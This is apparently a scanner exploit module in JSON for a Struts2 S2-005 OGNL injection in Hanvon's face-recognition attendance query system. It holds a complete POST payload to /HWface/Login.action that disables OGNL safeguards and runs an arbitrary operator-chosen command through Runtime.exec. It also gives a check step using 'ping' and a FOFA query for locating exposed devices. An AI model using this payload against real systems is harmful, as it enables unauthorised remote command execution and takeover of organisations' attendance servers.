{
  "Name": "Hanvon kaoqin Login.action S2-005 RCE",
  "Description": "汉王人脸识别考勤机数据查询系统命令执行，攻击者可利用该漏洞执行任意命令，获取系统权限。",
  "Product": "汉王人脸识别考勤机数据查询系统",
  "Homepage": "https://www.hanwang.com.cn/",
  "DisclosureDate": "2019-09-28",
  "Author": "itardc@163.com",
  "FofaQuery": "app=\"汉王-人脸识别考勤机数据查询系统\"",
  "Level": "3",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "https://fofa.so/"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "whoami",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')  (('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\\43mycmd\\75\\'ping\\'')(d))&(h)(('\\43myret\\75@java.lang.Runtime@getRuntime().exec(\\43mycmd)')(d))&(i)(('\\43mydat\\75new\\40java.io.DataInputStream(\\43myret.getInputStream())')(d))&(j)(('\\43myres\\75new\\40byte[51020]')(d))&(k)(('\\43mydat.readFully(\\43myres)')(d))&(l)(('\\43mystr\\75new\\40java.lang.String(\\43myres)')(d))&(m)(('\\43myout\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\\43myout.getWriter().println(\\43mystr)')(d))",
        "data_type": "text",
        "follow_redirect": true,
        "header": {"Content-Type": "application/x-www-form-urlencoded"},
        "method": "POST",
        "uri": "/HWface/Login.action"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "ping",
            "variable": "$body"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "timeout]",
            "variable": "$body"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "count]",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')  (('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\\43mycmd\\75\\'{{{cmd}}}\\'')(d))&(h)(('\\43myret\\75@java.lang.Runtime@getRuntime().exec(\\43mycmd)')(d))&(i)(('\\43mydat\\75new\\40java.io.DataInputStream(\\43myret.getInputStream())')(d))&(j)(('\\43myres\\75new\\40byte[51020]')(d))&(k)(('\\43mydat.readFully(\\43myres)')(d))&(l)(('\\43mystr\\75new\\40java.lang.String(\\43myres)')(d))&(m)(('\\43myout\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\\43myout.getWriter().println(\\43mystr)')(d))",
        "data_type": "text",
        "follow_redirect": true,
        "header": {"Content-Type": "application/x-www-form-urlencoded"},
        "method": "POST",
        "uri": "/HWface/Login.action"
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": ["rce"],
  "CVEIDs": null,
  "CVSSScore": null,
  "AttackSurfaces": {
    "Application": ["汉王-人脸识别考勤机数据查询系统"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}